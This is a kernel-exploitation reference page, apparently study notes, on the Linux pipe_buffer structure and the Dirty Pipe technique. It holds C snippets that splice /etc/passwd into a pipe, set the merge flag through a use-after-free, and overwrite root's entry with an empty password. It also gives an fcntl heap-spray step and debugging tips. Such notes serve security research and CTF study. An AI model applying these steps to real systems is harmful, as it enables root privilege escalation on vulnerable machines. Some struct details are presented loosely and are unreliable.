pipe_buffer

#dirtypipe#heapspray#kmalloc-variable
Slab kmalloc-64kmalloc-96..4096 (variable, size-controlled)
Requiresuaf-write-pipe_buffer-flags
Alt Requirescve-2022-0847-unpatched-kernel
Givesarbitrary-file-overwrite

Dirty Pipe Attack

1. pipe_buffer Structure

  • defined in include/linux/pipe_fs_i.h.
  • introduced in 5.8
struct pipe_buffer {
    struct page *page;            // The physical page containing data
    unsigned int offset;          // Offset into the page
    unsigned int len;             // Length of data
    const struct pipe_buf_operations *ops; // Pointer to operations (can be NULL)
    unsigned int flags;           // PIPE_BUF_FLAG_X
    unsigned int padding;         // Alignment padding
    unsigned long private;        // Private data
};
  • page: Points to the physical page of memory currently held by the pipe.

  • ops: A pointer to the operations table. This is critical—if flags is missing the PIPE_BUF_FLAG_CAN_MERGE flag, the kernel won’t try to merge new writes, but if manipulated, it can cause the kernel to use uninitialized or attacker-controlled memory.

  • flags: This member is the key to the exploit. By setting the PIPE_BUF_FLAG_CAN_MERGE flag, you trick the kernel into thinking it can write new data into a page that is already cached, even if the file is read-only (like a root-owned file).

  • Size and Alignment:

  • On 64-bit systems, the structure is 40 bytes.
  • The private member is 8 bytes, and the flags field is 4 bytes. The compiler adds 4 bytes of padding to ensure the private member is 8-byte aligned.

2. Exploitation

The vulnerability allows you to inject PIPE_BUF_FLAG_CAN_MERGE into a pipe_buffer that was initialized with a read-only file’s page.

  1. Fill the Pipe: Create a pipe and fill it with data. This causes the kernel to allocate pipe_buffer structures.
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "wwwww", 5);
  1. Splice Read-Only File: Use the splice() system call to “splice” a read-only file into the pipe. The kernel places a reference to the file’s page into the pipe_buffer. Crucially, it does not set the PIPE_BUF_FLAG_CAN_MERGE flag.
int passwdfd = open("/etc/passwd", O_RDONLY);
ret = splice(passwdfd, &offset, pipefd[1], NULL, 1, 0);
  1. Modify the flags: Use UAF to overwrite flags with PIPE_BUF_FLAG_CAN_MERGE - 0x10
  2. Overwrite : Edit the passwd page using pipefd. Now it allows to overwrite after setting the flag
char passwd[29];
memset(passwd,0,sizeof(passwd));
strcpy(passwd, "oot::0:0:root:/root:/bin/sh\n");
ret = write(pipefd[1], passwd, strlen(passwd));

NOTE: Vulnerable kernel version allows to exploit dirty pipe without UAF https://dirtypipe.cm4all.com/

Exploitation 2

If you have UAF on any other cache, then resize the pipe_buffer ring array to that size. This forces it reclaim our UAF object for ring buffer array

// Increase the size of pipe ring buffer
// Each pipe_buffer struct holds one page
// So each page corresponds to one pipe_buffer struct, 
// meaning sizeof(pipe_buffer) * number of pages should be kmalloc-4096
// sizeof(pipe_buffer)  = ~40, 55 * 40 = 2200 (lands in kmalloc-4096)
// Since each pipe holds a page, we need to allocate (1 page size * total target pages) 
fcntl(pipefds,F_SETPIPE_SZ,55*0x1000); //Pulls a object from kmalloc-4096

3. Debugging

  • splice_folio_into_pipe - Interesting function to set breakpoint on gdb and check the pipe_buffer struct creation
  • pipe_resize_ring - Function that calls kmalloc and resizes the pipe_buffer ring buffer array when fcntl is used to resize it

Blog Link: https://a13xp0p0v.github.io/2026/04/20/pipe-buffer-experiments.htm